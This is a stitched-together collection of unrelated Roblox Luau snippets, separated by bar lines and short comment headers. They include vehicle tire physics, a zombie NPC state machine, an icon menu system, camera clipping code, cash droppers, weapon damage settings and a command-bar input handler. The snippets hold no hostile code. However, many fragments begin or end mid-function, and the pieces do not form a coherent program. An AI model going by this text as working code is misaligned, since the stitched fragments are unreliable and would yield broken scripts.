function GetTireCurve(c,x) return (((-math.abs(x^(c*2.4)))/2.4)+((-math.abs(x^2.4))/2.4))*(7/6) end
function WFriction(v,val)
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(0,val,0,0,0)
end
Instance.new("Model",fWheel.Parts).Name = "Tires"
Instance.new("Model",rWheel.Parts).Name = "Tires"
for i=0,_Tune.TireCylinders do
local fCyl = fWheel:Clone()
fCyl.Name = "FTire"
for _,a in pairs(fCyl:GetChildren()) do a:Destroy() end
fCyl.Parent = fWheel.Parts.Tires
if _Tune.TiresVisible or _Tune.Debug then fCyl.Transparency = 0 else fCyl.Transparency = 1 end
fCyl.Size = Vector3.new(fWheel.Size.X*(i/_Tune.TireCylinders),fWheel.Size.Y+(_Tune.FProfileHeight*GetTireCurve(_Tune.FTireProfile,i/_Tune.TireCylinders)),fWheel.Size.Y+(_Tune.FProfileHeight*GetTireCurve(_Tune.FTireProfile,i/_Tune.TireCylinders)))
if (i/_Tune.TireCylinders < 1/3 and _Tune.FTireCompound == 3) or (i/_Tune.TireCylinders < 1/2 and _Tune.FTireCompound == 2) then
WFriction(fCyl,_Tune.FTireFriction-.1)
fCyl.Name = fCyl.Name.."L"
elseif i/_Tune.TireCylinders >= 1/3 and i/_Tune.TireCylinders < 2/3 and _Tune.FTireCompound == 3 then
WFriction(fCyl,(_Tune.FTireFriction+(_Tune.FTireFriction-.1))/2)
fCyl.Name = fCyl.Name.."M"
elseif i/_Tune.TireCylinders >= 2/3 or (i/_Tune.TireCylinders >= 1/2 and _Tune.FTireCompound == 2) or _Tune.FTireCompound == 1 then
WFriction(fCyl,_Tune.FTireFriction)
fCyl.Name = fCyl.Name.."H"
end
local rCyl = rWheel:Clone()
rCyl.Name = "RTire"
for _,b in pairs(rCyl:GetChildren()) do b:Destroy() end
rCyl.Parent = rWheel.Parts.Tires
if _Tune.TiresVisible or _Tune.Debug then rCyl.Transparency = 0 else rCyl.Transparency = 1 end
rCyl.Size = Vector3.new(rWheel.Size.X*(i/_Tune.TireCylinders),rWheel.Size.Y+(_Tune.RProfileHeight*GetTireCurve(_Tune.RTireProfile,i/_Tune.TireCylinders)),rWheel.Size.Y+(_Tune.RProfileHeight*GetTireCurve(_Tune.RTireProfile,i/_Tune.TireCylinders)))
if (i/_Tune.TireCylinders < 1/3 and _Tune.RTireCompound == 3) or (i/_Tune.TireCylinders < 1/2 and _Tune.RTireCompound == 2) then
WFriction(rCyl,_Tune.RTireFriction-.1)
rCyl.Name = rCyl.Name.."L"
elseif i/_Tune.TireCylinders >= 1/3 and i/_Tune.TireCylinders < 2/3 and _Tune.RTireCompound == 3 then
WFriction(rCyl,(_Tune.RTireFriction+(_Tune.RTireFriction-.1))/2)
rCyl.Name = rCyl.Name.."M"
elseif i/_Tune.TireCylinders >= 2/3 or (i/_Tune.TireCylinders >= 1/2 and _Tune.RTireCompound == 2) or _Tune.RTireCompound == 1 then
WFriction(rCyl,_Tune.RTireFriction)
rCyl.Name = rCyl.Name.."H"
end
wait()
end
fWheel.CanCollide = false
fWheel.Transparency = 1
rWheel.CanCollide = false
rWheel.Transparency = 1
|
--Offset For Each New Ray For The Bullet's Trajectory
|
local offset = (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-5,5)/3,100,math.random(-5,5)/3).p
- parts.Parent.Gun.Muzzle.Position).unit
*script.Parent.Stats.GunVelocity.Value
local point1 = parts.Parent.Gun.Muzzle.Position
|
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.Torso.Position - model.Torso.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.Torso.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.Torso.Position, (ZombieTarget.Torso.Position - model.Torso.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
|
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.Torso.Position - model.Torso.Position).magnitude > 10 then
local toTarget = Ray.new(model.Torso.Position, (ZombieTarget.Torso.Position - model.Torso.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.Torso.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.Torso.Position - ZombieTarget.Torso.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.Torso.Position - ZombieTarget.Torso.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("Torso") then
local torso = humanoid.Parent:FindFirstChild("Torso")
local distance = (model.Torso.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.Torso.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.Torso.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
|
--[[
Turns the system on
]]
|
function BaseSystem:turnOn()
if self._isOn then
Logger.warn("Trying to turn on system, but it is already on")
return
end
self._isOn = true
Logger.debug("System is now on")
sendAlert(Constants.Alert.Normal, translate("{name} is now on!", {name = self.name}))
self:_setMarker(nil)
return true
end
|
-- Menus
|
function Icon:setMenu(arrayOfIcons)
-- Reset any previous icons
for i, otherIcon in pairs(self.menuIcons) do
otherIcon:leave()
end
-- Apply new icons
for i, otherIcon in pairs(arrayOfIcons) do
otherIcon:join(self, "menu", true)
end
-- Update menu
self:_updateMenu()
return self
end
function Icon:_getMenuDirection()
local direction = (self:get("menuDirection") or "_NIL"):lower()
local alignment = (self:get("alignment") or "_NIL"):lower()
if direction ~= "left" and direction ~= "right" then
direction = (alignment == "left" and "right") or "left"
end
return direction
end
function Icon:_updateMenu()
local values = {
maxIconsBeforeScroll = self:get("menuMaxIconsBeforeScroll") or "_NIL",
direction = self:get("menuDirection") or "_NIL",
iconAlignment = self:get("alignment") or "_NIL",
scrollBarThickness = self:get("menuScrollBarThickness") or "_NIL",
}
for k, v in pairs(values) do if v == "_NIL" then return end end
local XPadding = IconController[values.iconAlignment.."Gap"]--12
local menuContainer = self.instances.menuContainer
local menuFrame = self.instances.menuFrame
local menuList = self.instances.menuList
local totalIcons = #self.menuIcons
local direction = self:_getMenuDirection()
local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons
local newCanvasSizeX = -XPadding
local newFrameSizeX = 0
local newMinHeight = 0
local sortFunc = (direction == "right" and function(a,b) return a:get("order") < b:get("order") end) or function(a,b) return a:get("order") > b:get("order") end
table.sort(self.menuIcons, sortFunc)
for i = 1, totalIcons do
local otherIcon = self.menuIcons[i]
local otherIconSize = otherIcon:get("iconSize")
local increment = otherIconSize.X.Offset + XPadding
if i <= lastVisibleIconIndex then
newFrameSizeX = newFrameSizeX + increment
end
if i == lastVisibleIconIndex and i ~= totalIcons then
newFrameSizeX = newFrameSizeX -2--(increment/4)
end
newCanvasSizeX = newCanvasSizeX + increment
local otherIconHeight = otherIconSize.Y.Offset
if otherIconHeight > newMinHeight then
newMinHeight = otherIconHeight
end
end
local canvasSize = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeX + XPadding
self:set("menuCanvasSize", UDim2.new(0, canvasSize, 0, 0))
self:set("menuSize", UDim2.new(0, newFrameSizeX, 0, newMinHeight + values.scrollBarThickness + 3))
-- Set direction
local directionDetails = {
left = {
containerAnchorPoint = Vector2.new(1, 0),
containerPosition = UDim2.new(0, -4, 0, 0),
canvasPosition = Vector2.new(canvasSize, 0)
},
right = {
containerAnchorPoint = Vector2.new(0, 0),
containerPosition = UDim2.new(1, XPadding-2, 0, 0),
canvasPosition = Vector2.new(0, 0),
}
}
local directionDetail = directionDetails[direction]
menuContainer.AnchorPoint = directionDetail.containerAnchorPoint
menuContainer.Position = directionDetail.containerPosition
menuFrame.CanvasPosition = directionDetail.canvasPosition
self._menuCanvasPos = directionDetail.canvasPosition
menuList.Padding = UDim.new(0, XPadding)
end
function Icon:_menuIgnoreClipping()
self:_ignoreClipping("menu")
end
|
--------------------------------------------------------------------------------
-- Popper.lua
-- Prevents your camera from clipping through walls.
--------------------------------------------------------------------------------
|
local Players = game:GetService('Players')
local FFlagUserPoppercamLooseOpacityThreshold do
local success, enabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold")
end)
FFlagUserPoppercamLooseOpacityThreshold = success and enabled
end
local camera = game.Workspace.CurrentCamera
local min = math.min
local tan = math.tan
local rad = math.rad
local inf = math.huge
local ray = Ray.new
local function getTotalTransparency(part)
return 1 - (1 - part.Transparency)*(1 - part.LocalTransparencyModifier)
end
local function eraseFromEnd(t, toSize)
for i = #t, toSize + 1, -1 do
t[i] = nil
end
end
local nearPlaneZ, projX, projY do
local function updateProjection()
local fov = rad(camera.FieldOfView)
local view = camera.ViewportSize
local ar = view.X/view.Y
projY = 2*tan(fov/2)
projX = ar*projY
end
camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection)
camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection)
updateProjection()
nearPlaneZ = camera.NearPlaneZ
camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function()
nearPlaneZ = camera.NearPlaneZ
end)
end
local blacklist = {} do
local charMap = {}
local function refreshIgnoreList()
local n = 1
blacklist = {}
for _, character in pairs(charMap) do
blacklist[n] = character
n = n + 1
end
end
local function playerAdded(player)
local function characterAdded(character)
charMap[player] = character
refreshIgnoreList()
end
local function characterRemoving()
charMap[player] = nil
refreshIgnoreList()
end
player.CharacterAdded:Connect(characterAdded)
player.CharacterRemoving:Connect(characterRemoving)
if player.Character then
characterAdded(player.Character)
end
end
local function playerRemoving(player)
charMap[player] = nil
refreshIgnoreList()
end
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)
for _, player in ipairs(Players:GetPlayers()) do
playerAdded(player)
end
refreshIgnoreList()
end
|
-- Modules
|
Security = require(script.Security)
History = require(script.History)
Selection = require(script.Selection)
Targeting = require(script.Targeting)
|
-- [[ Services ]]
|
local Players = game:GetService("Players")
local PhysicsService = game:GetService("PhysicsService")
|
-- Variables
|
local statesTemplate = script:WaitForChild("Player")
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0 -- cooldown for use of the tool again
BoneModelName = "God Spear" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Change the rotation:
|
function CamLock.DeltaRotation(horizontal, vertical)
SetRotation(viewRotH + horizontal, viewRotV + vertical)
end
|
--Functions
|
local function onTouched(hit)
local Humanoid = hit.Parent:FindFirstChild("Humanoid")
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
if Humanoid and Debounce == false then
local leaderstats = player:FindFirstChild("leaderstats")
Debounce = true
if Debounce == true and leaderstats then
leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN
local sound = script.Parent["Game Sound Correct"]
if not sound.IsPlaying then
sound:Play()
wait(2)
wait(10)
end
end
end
end
|
-- MAIN SCRIPT --
|
AlignOrientation.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(-1), 0, 0)
wait(23)
RotateBlimp().Completed:Connect(function()
wait(3)
RotateBlimp().Completed:Connect(function()
wait(20)
script.Parent:Destroy()
end)
end)
|
--Remove value
|
function module:RemoveStat(player, locationName, newValue)
local location = main.pd[player][locationName]
if location then
for i,v in pairs(location) do
if tostring(v) == tostring(newValue) then
table.remove(main.pd[player][locationName], i)
main.pd[player].DataToUpdate = true
main.signals.RemoveStat:FireClient(player, {locationName, newValue})
break
end
end
end
end
|
-- Update. Called every frame after the camera movement step
|
function Invisicam:Update()
-- Make sure we still have a Torso
if not Torso then
local humanoid = Character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.Torso then
Torso = humanoid.Torso
else
-- Not set up with Humanoid? Try and see if there's one in the Character at all:
Torso = Character:FindFirstChild("HumanoidRootPart")
if not Torso then
-- Bail out, since we're relying on Torso existing
return
end
end
local ancestryChangedConn;
ancestryChangedConn = Torso.AncestryChanged:connect(function(child, parent)
if child == Torso and not parent then
Torso = nil
if ancestryChangedConn and ancestryChangedConn.Connected then
ancestryChangedConn:Disconnect()
ancestryChangedConn = nil
end
end
end)
end
-- Make a list of world points to raycast to
local castPoints = {}
BehaviorFunction(castPoints)
-- Cast to get a list of objects between the camera and the cast points
local currentHits = {}
local ignoreList = {Character}
local function add(hit)
currentHits[hit] = true
if not SavedHits[hit] then
SavedHits[hit] = hit.LocalTransparencyModifier
end
end
local hitParts = Camera:GetPartsObscuringTarget(castPoints, ignoreList)
for i = 1, #hitParts do
local hitPart = hitParts[i]
add(hitPart)
for _, child in pairs(hitPart:GetChildren()) do
if child:IsA('Decal') or child:IsA('Texture') then
add(child)
end
end
end
-- Fade out objects that are in the way, restore those that aren't anymore
for hit, originalFade in pairs(SavedHits) do
local currentFade = hit.LocalTransparencyModifier
if currentHits[hit] then -- Fade
if currentFade < FADE_TARGET then
hit.LocalTransparencyModifier = math_min(currentFade + FADE_RATE, FADE_TARGET)
end
else -- Restore
if currentFade > originalFade then
hit.LocalTransparencyModifier = math_max(originalFade, currentFade - FADE_RATE)
else
SavedHits[hit] = nil
end
end
end
end
function Invisicam:SetMode(newMode)
AssertTypes(newMode, 'number')
for modeName, modeNum in pairs(MODE) do
if modeNum == newMode then
Mode = newMode
BehaviorFunction = Behaviors[Mode]
return
end
end
error("Invalid mode number")
end
function Invisicam:SetCustomBehavior(func)
AssertTypes(func, 'function')
Behaviors[MODE.CUSTOM] = func
if Mode == MODE.CUSTOM then
BehaviorFunction = func
end
end
|
-- local suc,er = pcall(function()
-- MessageData = HTTPSERVICE:JSONEncode(MessageData)
-- HTTPSERVICE:PostAsync(URL,MessageData)
-- end)
-- if suc then
| |
--// Damage Settings
|
BaseDamage = 35; -- Torso Damage
LimbDamage = 23; -- Arms and Legs
ArmorDamage = 15; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--[=[
Parses a localization table and adds a pseudo localized locale to the table.
@param localizationTable LocalizationTable -- LocalizationTable to add to.
@param preferredLocaleId string? -- Preferred locale to use. Defaults to "qlp-pls"
@param preferredFromLocale string? -- Preferred from locale. Defaults to "en-us"
@return string -- The translated line
]=]
|
function PseudoLocalize.addToLocalizationTable(localizationTable, preferredLocaleId, preferredFromLocale)
local localeId = preferredLocaleId or DEFAULT_PSEUDO_LOCALE_ID
local fromLocale = preferredFromLocale or "en"
local entries = localizationTable:GetEntries()
for _, entry in pairs(entries) do
if not entry.Values[localeId] then
local line = entry.Values[fromLocale]
if line then
entry.Values[localeId] = PseudoLocalize.pseudoLocalize(line)
else
warn(("[PseudoLocalize.addToLocalizationTable] - No entry in key %q for locale %q")
:format(entry.Key, fromLocale))
end
end
end
localizationTable:SetEntries(entries)
end
|
--------------------
|
while true do
wait(1.5) -- How long in between drops
local part = Instance.new("Part",workspace.PartStorage)
--part.BrickColor=script.Parent.Parent.Parent.DropColor.Value
--part.Material=script.Parent.Parent.Parent.MaterialValue.Value
local cash = Instance.new("IntValue",part)
cash.Name = "Cash"
cash.Value = 100 -- How much the drops are worth
part.CFrame = script.Parent.Drop.CFrame - Vector3.new(0,5,0)
part.FormFactor = "Custom"
part.Size=Vector3.new(0.2, 0.2, 0.2) -- Size of the drops
if meshDrop == true then
local m = Instance.new("SpecialMesh",part)
m.MeshId = meshID
m.TextureId = textureID
end
part.TopSurface = "Smooth"
part.BottomSurface = "Smooth"
game.Debris:AddItem(part,20) -- How long until the drops expire
end
|
--|| VARIABLES ||--
|
local Player = Players.LocalPlayer
local Character = script.Parent
local Humanoid = Character:WaitForChild"Humanoid"
local HumanoidRootPart = Character.HumanoidRootPart
local Torso = Character.Torso
local RootJoint = HumanoidRootPart.RootJoint
local LeftHipJoint = Torso["Left Hip"]
local RightHipJoint = Torso["Right Hip"]
local function Lerp(a, b, c)
return a + (b - a) * c
end
local Force = nil
local Direction = nil
local Value1 = 0
local Value2 = 0
local RootJointC0 = RootJoint.C0
local LeftHipJointC0 = LeftHipJoint.C0
local RightHipJointC0 = RightHipJoint.C0
RunService.RenderStepped:Connect(function()
Force = HumanoidRootPart.Velocity * Vector3.new(1,0,1)
if Force.Magnitude > 2 then
Direction = Force.Unit
Value1 = HumanoidRootPart.CFrame.RightVector:Dot(Direction)
Value2 = HumanoidRootPart.CFrame.LookVector:Dot(Direction)
else
Value1 = 0
Value2 = 0
end
RootJoint.C0 = RootJoint.C0:Lerp(RootJointC0 * CFrame.Angles(math.rad(Value2 * 7), math.rad(-Value1 * 7), 0), 0.2)
LeftHipJoint.C0 = LeftHipJoint.C0:Lerp(LeftHipJointC0 * CFrame.Angles(math.rad(-Value1 * 7), 0, 0), 0.2)
RightHipJoint.C0 = RightHipJoint.C0:Lerp(RightHipJointC0 * CFrame.Angles(math.rad(Value1 * 7), 0, 0), 0.2)
end)
|
-- Returns whether the playerSelected's status is appropriate for the playerFiring
|
function GetProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)
local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)
return { success = filteredStatus == statusText }
end
|
--//seats
|
local hd = Instance.new("Motor", script.Parent.Parent.Misc.HD.SS)
hd.MaxVelocity = 0.03
hd.Part0 = script.Parent.HD
hd.Part1 = hd.Parent
|
-- GROUPS
|
Groups = {
[0] = {
[254] = "NonAdmin";
[1] = "NonAdmin";
};
};
|
--[[Steering]]
|
Tune.SteerInner = 48 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 43 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--mute button stuff
|
local canmute = settings.DisplayMuteButton
local musicon = true
function CreateButton()
local button = script.MuteButton:clone()
script.MuteButton:Destroy()
button.Visible = true
button.MouseButton1Click:connect(function()
musicon = not musicon
local bgm = script:FindFirstChild("BGM")
if bgm then
bgm.Volume = musicon and bgm.OriginalVolume.Value or 0
end
end)
button.Parent = plr:WaitForChild("PlayerGui").PlayerHud.PlayerHUD.Settings.Content.Music
end
function CharInit()
char = plr.Character
torso = char:WaitForChild("HumanoidRootPart")
if canmute then CreateButton() end
end
if plr.Character and plr.Character.Parent ~= nil then
CharInit()
end
plr.CharacterAdded:connect(function()
CharInit()
end)
|
--[[
Recursively step through a table and print all of its keys and values
]]
| |
--if hood.Velocity.magnitude < 15 then return end -- must be going decently fast to break stuff... can add invisible "prebumpers" in the future to make collisions smoother
|
if hood.CFrame:vectorToObjectSpace(hood.Velocity):Dot(direction) < 5 then return end -- must be going fast in correct direction to break stuff
if hit and hit.Parent then
if hit.Parent:FindFirstChild("Humanoid") then
--hit.Parent:BreakJoints() let's not kill 'em... for now
hit.Parent.Humanoid.Sit = true -- but we do make 'em flyyyy! XD
elseif hit:FindFirstChild("RobloxModel") and not hit:FindFirstChild("RunOver") and isSmallerThanVehicle(hit) then
local newModel = hit:Clone()
local modelParent = hit.Parent
local newRunOverTag = Instance.new("BoolValue")
newRunOverTag.Name = "RunOver"
newRunOverTag.Parent = hit
hit:BreakJoints()
debris:AddItem(hit, timeToRespawn)
coroutine.resume(coroutine.create(respawnIt), newModel, modelParent)
elseif hit.Parent:FindFirstChild("RobloxModel") and not hit.Parent:FindFirstChild("RunOver") and isSmallerThanVehicle(hit.Parent) then
local newModel = hit.Parent:Clone()
local modelParent = hit.Parent.Parent
local newRunOverTag = Instance.new("BoolValue")
newRunOverTag.Name = "RunOver"
newRunOverTag.Parent = hit.Parent
hit.Parent:BreakJoints()
debris:AddItem(hit.Parent, timeToRespawn)
coroutine.resume(coroutine.create(respawnIt), newModel, modelParent)
end
end
end
|
-- Managers
|
local weapons = require(game:GetService("ServerScriptService").Managers.Weapon)
local vehicles = require(game:GetService("ServerScriptService").Managers.Vehicle)
local twitter = require(game:GetService("ServerScriptService").Database.TwitterCodes)
local damageReplicator = require(game:GetService("ServerScriptService").Managers.DamageReplicator)
local projectiles = require(game:GetService("ReplicatedStorage").Weapons.Projectiles)
|
--[=[
Converts a set to a list
@param set table
@param otherSet table
@return table
]=]
|
function Set.differenceUpdate(set, otherSet)
for value, _ in pairs(otherSet) do
set[value] = nil
end
end
|
-- Functional services
|
UserInputService = game:GetService("UserInputService")
|
-- EXTRA --
|
CS:GetInstanceAddedSignal(Tag):Connect(function(v)
if v:IsA("Model") and v:IsDescendantOf(workspace) then
RagdollModule:Setup(v)
end
end)
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["ExternalEventConnection"]["ExternalEventConnection"])
return Package
|
-- no touchy
|
local path = pfs:CreatePath()
local waypoint
local currentWaypointIndex
local target
function findNearestTorso(pos)
local list = game.Workspace:children()
local torso = nil
local dist = Settings.WalkDistance.Value
local temp = nil
local human = nil
local temp2 = nil
for x = 1, #list do
temp2 = list[x]
if (temp2.className == "Model") and (temp2 ~= script.Parent) then
temp = temp2:findFirstChild("HumanoidRootPart")
human = temp2:findFirstChild("Humanoid")
if (temp ~= nil) and (human ~= nil) and (human.Health > 0) and players:GetPlayerFromCharacter(human.Parent)~= nil then
if (temp.Position - pos).magnitude < dist then
torso = temp
dist = (temp.Position - pos).magnitude
end
end
end
end
return torso
end
|
--------------------
|
while true do
wait(1.5) -- How long in between drops
local part = Instance.new("Part",workspace.PartStorage)
--part.BrickColor=script.Parent.Parent.Parent.DropColor.Value
--part.Material=script.Parent.Parent.Parent.MaterialValue.Value
local cash = Instance.new("IntValue",part)
cash.Name = "Cash"
cash.Value = 12 -- How much the drops are worth
part.CFrame = script.Parent.Drop.CFrame - Vector3.new(0,5,0)
part.FormFactor = "Custom"
part.Size=Vector3.new(1, 5, 4) -- Size of the drops
if meshDrop == true then
local m = Instance.new("SpecialMesh",part)
m.MeshId = meshID
m.TextureId = textureID
end
part.TopSurface = "Smooth"
part.BottomSurface = "Smooth"
game.Debris:AddItem(part,20) -- How long until the drops expire
end
|
--- Handles user input when the box is focused
|
function Window:BeginInput(input, gameProcessed)
if GuiService.MenuIsOpen then
self:Hide()
end
if gameProcessed and self:IsVisible() == false then
return
end
if self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar
if self.Cmdr.MashToEnable and not self.Cmdr.Enabled then
if tick() - lastPressTime < 1 then
if pressCount >= 5 then
return self.Cmdr:SetEnabled(true)
else
pressCount = pressCount + 1
end
else
pressCount = 1
end
lastPressTime = tick()
elseif self.Cmdr.Enabled then
self:SetVisible(not self:IsVisible())
wait()
self:SetEntryText("")
if GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug)
self:Hide()
end
end
return
end
if self.Cmdr.Enabled == false or not self:IsVisible() then
if self:IsVisible() then
self:Hide()
end
return
end
if self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then
local ps = input.Position
local ap = Gui.AbsolutePosition
local as = Gui.AbsoluteSize
if ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then
self:Hide()
end
elseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down
self:SelectVertical(1)
elseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up
self:SelectVertical(-1)
elseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines
wait()
self:SetEntryText(self:GetEntryText():gsub("\n", ""):gsub("\r", ""))
elseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete
local item = self.AutoComplete:GetSelectedItem()
local text = self:GetEntryText()
if item and not (text:sub(#text, #text):match("%s") and self.AutoComplete.LastItem) then
local replace = item[2]
local newText
local insertSpace = true
local command = self.AutoComplete.Command
if command then
local lastArg = self.AutoComplete.Arg
newText = command.Alias
insertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions and self.AutoComplete.IsPartial == false
local args = command.Arguments
for i = 1, #args do
local arg = args[i]
local segments = arg.RawSegments
if arg == lastArg then
segments[#segments] = replace
end
local argText = arg.Prefix .. table.concat(segments, ",")
-- Put auto completion options in quotation marks if they have a space
if argText:find(" ") or argText == "" then
argText = ("%q"):format(argText)
end
newText = ("%s %s"):format(newText, argText)
if arg == lastArg then
break
end
end
else
newText = replace
end
-- need to wait a frame so we can eat the \t
wait()
-- Update the text box
self:SetEntryText(newText .. (insertSpace and " " or ""))
else
-- Still need to eat the \t even if there is no auto-complete to show
wait()
self:SetEntryText(self:GetEntryText())
end
else
self:ClearHistoryState()
end
end
|
-- Fetch the ID list
|
local IDList = require(script.IDList)
|
-- List of creatable textures
|
local TextureTypes = { 'Decal', 'Texture' };
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed > 0.01 then
playAnimation("walk", 0.1, Humanoid)
if currentAnimInstance then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
